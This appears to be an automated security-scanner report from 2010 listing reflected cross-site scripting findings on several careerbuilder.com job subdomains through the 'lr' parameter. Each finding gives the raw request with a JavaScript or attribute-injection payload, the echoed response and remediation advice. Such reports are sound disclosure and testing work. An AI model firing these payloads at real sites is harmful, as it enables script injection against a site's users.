GET /ag.ic/Florida_Miami_Payroll.htm?IPath=OCP&lr=cbcb_mhf48aa2848d'-alert(1)-'7bd88549adc HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189967 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_payroll.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL32 Date: Sun, 14 Nov 2010 23:24:33 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa2848d'-alert(1)-'7bd88549adc&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9b54"%20a%3db%204c9a7198dfe was submitted in the lr parameter. This input was echoed as c9b54" a=b 4c9a7198dfe in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Reporting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c9b54"%20a%3db%204c9a7198dfe&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196881 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_reporting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL18 Date: Sun, 14 Nov 2010 23:24:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c58e6'-alert(1)-'45be1a04315 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Reporting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c58e6'-alert(1)-'45be1a04315&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197499 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_reporting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR43 Date: Sun, 14 Nov 2010 23:25:16 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c58e6'-alert(1)-'45be1a04315&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 351db'-alert(1)-'2f09466539d was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_TaxAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5351db'-alert(1)-'2f09466539d&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197530 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_taxaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR4 Date: Sun, 14 Nov 2010 23:27:35 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5351db'-alert(1)-'2f09466539d&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21130"%20a%3db%2066d099a642a was submitted in the lr parameter. This input was echoed as 21130" a=b 66d099a642a in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_TaxAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a521130"%20a%3db%2066d099a642a&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196807 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_taxaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR25 Date: Sun, 14 Nov 2010 23:26:58 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7fe5'-alert(1)-'9425161b70b was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ac.ic/Florida_Miami/?lr=cbcb_mha7fe5'-alert(1)-'9425161b70b&SiteID=cbcb_mh030 HTTP/1.1 Host: admin-clerical.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 198212 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=c17e999a751943249031889b774a0aec-343070737-R4-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650B96FA49ADD94120890BA6EE7DBBB0B70BB73D4A957DF1B40E37136B4E087C94A7205966FE434239F; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:37 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:37 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL4 Date: Sun, 14 Nov 2010 22:25:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mha7fe5'-alert(1)-'9425161b70b&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f8bf"%20a%3db%2039cb7791456 was submitted in the lr parameter. This input was echoed as 5f8bf" a=b 39cb7791456 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ac.ic/Florida_Miami/?lr=cbcb_mh5f8bf"%20a%3db%2039cb7791456&SiteID=cbcb_mh030 HTTP/1.1 Host: admin-clerical.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197140 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=f66d76a56e6c49c092e6c437b5f1f0f0-343070714-RT-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650F8EA9F59001F10D230B0487CBA3492F4EAD435A55C0CBCAA310FAAEC46756DA0F487A1EAD80AC621; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:13 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:14 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL29 Date: Sun, 14 Nov 2010 22:25:13 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7438e"%20a%3db%2089af122eadb was submitted in the lr parameter. This input was echoed as 7438e" a=b 89af122eadb in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bf.ic/Florida_Miami/?lr=cbcb_mh7438e"%20a%3db%2089af122eadb&SiteID=cbcb_mh032 HTTP/1.1 Host: banking-finance.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 193077 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=3adeb3a3a665452cb3db8746cef2a482-343070718-RL-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650F382261A0B497E7E52C90A9B44136C94C95BE2C9A785411BADAB46C05F6A5E15C781B87732DBDCFD; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:18 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:18 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL21 Date: Sun, 14 Nov 2010 22:25:18 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6025c'-alert(1)-'3bfd288b45f was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bf.ic/Florida_Miami/?lr=cbcb_mh6025c'-alert(1)-'3bfd288b45f&SiteID=cbcb_mh032 HTTP/1.1 Host: banking-finance.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 193722 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=903408c97ec947c08e82b77995846faa-343070747-R8-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6509E4FC31D7F51112E8E6BD66A74398A35D57E2B3EBA0654540D3F956B9C1E4072777AFAB66DA72AF8; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:46 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:46 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL8 Date: Sun, 14 Nov 2010 22:25:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh6025c'-alert(1)-'3bfd288b45f&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eb3e"%20a%3db%20422e5f94b75 was submitted in the lr parameter. This input was echoed as 1eb3e" a=b 422e5f94b75 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /cs.ic/Florida_Miami/?lr=cbcb_mh1eb3e"%20a%3db%20422e5f94b75&SiteID=cbcb_mh035 HTTP/1.1 Host: customer-service.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190637 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=42ee23d9340f4db492a4a340c1372514-343070753-R6-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508E8A7C46AB17B4CC2649D27018AC4F86CFA6335C2EB6692671084E2DB62F4AE108378824736F440F; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:52 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:53 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL6 Date: Sun, 14 Nov 2010 22:25:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74d08'-alert(1)-'04a0701f11a was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cs.ic/Florida_Miami/?lr=cbcb_mh74d08'-alert(1)-'04a0701f11a&SiteID=cbcb_mh035 HTTP/1.1 Host: customer-service.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 191278 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=eb938c0781184bcfb4d4faf5fcfe8db1-343070776-VL-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508074FA90E44D5B4F83A5472AC69B952B487300C8C40C2DDB00966E3520AE4545781BCE2F2128AA0A; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:26:15 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:41:16 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL33 Date: Sun, 14 Nov 2010 22:26:15 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh74d08'-alert(1)-'04a0701f11a&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adbee"%20a%3db%20312f0d1a369 was submitted in the lr parameter. This input was echoed as adbee" a=b 312f0d1a369 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /en.ic/Florida_Miami/?lr=cbcb_mhadbee"%20a%3db%20312f0d1a369&SiteID=cbcb_mh037 HTTP/1.1 Host: engineering.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 194088 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=9a591372b45048d197c7450f2738d22c-343070827-RP-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650D89AFF5D24976CE7314F6F2F9565A4DD9C01C8ABDFDB17E60471E4011A7A49609332F6EA0B9FFBAC; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:07 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:07 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL25 Date: Sun, 14 Nov 2010 22:27:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b493'-alert(1)-'1a957c281b6 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en.ic/Florida_Miami/?lr=cbcb_mh8b493'-alert(1)-'1a957c281b6&SiteID=cbcb_mh037 HTTP/1.1 Host: engineering.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 194890 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=9dc8162df01c4990b3256468ae53f08e-343070847-RS-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65044DFD330AB56844A290AE2950B748B2AAA785234862F5A2BE9A14C55B142B8293BC3E047BD96D1BF; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:27 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:27 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL28 Date: Sun, 14 Nov 2010 22:27:27 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh8b493'-alert(1)-'1a957c281b6&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3041b'-alert(1)-'6d3b4ce97bc was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ex.ic/Florida_Miami/?lr=cbcb_mh3041b'-alert(1)-'6d3b4ce97bc&SiteID=cbcb_mh038 HTTP/1.1 Host: executive.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196142 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=e3a92f7a94bb4aefad32a22492f2f8ec-343070882-wj-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6503492847FF777B22F8576D0825F22D3B746B718754B54EA145BAD3B556B5A7EA8F7DE56AA62C5B566; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:28:02 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:43:02 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR20 Date: Sun, 14 Nov 2010 22:28:02 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh3041b'-alert(1)-'6d3b4ce97bc&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 749c6"%20a%3db%20751bb406a83 was submitted in the lr parameter. This input was echoed as 749c6" a=b 751bb406a83 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ex.ic/Florida_Miami/?lr=cbcb_mh749c6"%20a%3db%20751bb406a83&SiteID=cbcb_mh038 HTTP/1.1 Host: executive.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
